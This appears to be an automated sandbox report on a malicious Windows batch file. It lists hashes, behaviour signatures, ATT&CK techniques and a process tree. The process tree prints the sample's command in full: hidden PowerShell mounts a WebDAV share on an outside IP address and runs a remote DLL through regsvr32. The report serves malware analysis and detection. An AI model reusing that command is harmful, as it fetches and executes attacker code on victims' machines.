a8e0b9b4296ccfbf5457b30d130a4b5d58484eff1521f7986e116addd9dd2bc7

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
21/07/2024, 05:55

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General

Target

2968429850127887600.bat
Size

11KB
MD5

0c4f20efaa0590c071b717c328598ee7
SHA1

5bfea24d037d1cc34bd4cad0558d3d1fdb01658a
SHA256

a8e0b9b4296ccfbf5457b30d130a4b5d58484eff1521f7986e116addd9dd2bc7
SHA512

fc4a2799c0e74f47a423f88ecba56168958f129422bec8a5da66ab2dddfaf1f970831d4f692968cc1209d09caaa4ff3cef764b05c44353b6b95984837530339e
SSDEEP

192:061XUpzPbsU7HNLkEkPohm4pSl4k+ioYTVasAubIr/vQkrzab3wi6DYRTmgy:06WfTQo0cSR+ZYa7ubuvrabT6DeTmgy

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4944	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4944	powershell.exe
4944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4944	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2988	wordpad.exe
2988	wordpad.exe
2988	wordpad.exe
2988	wordpad.exe
2988	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3096 wrote to memory of 2988	3096	cmd.exe	84
PID 3096 wrote to memory of 2988	3096	cmd.exe	84
PID 3096 wrote to memory of 4944	3096	cmd.exe	86
PID 3096 wrote to memory of 4944	3096	cmd.exe	86
PID 4944 wrote to memory of 3180	4944	powershell.exe	88
PID 4944 wrote to memory of 3180	4944	powershell.exe	88
PID 4944 wrote to memory of 3032	4944	powershell.exe	89
PID 4944 wrote to memory of 3032	4944	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2968429850127887600.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3096
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\263344443387.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3180
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\263344443387.dll
    3⤵
    PID:3032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wzikdviv.xfk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4944-9-0x00000168ED8B0000-0x00000168ED8D2000-memory.dmp

Filesize
136KB

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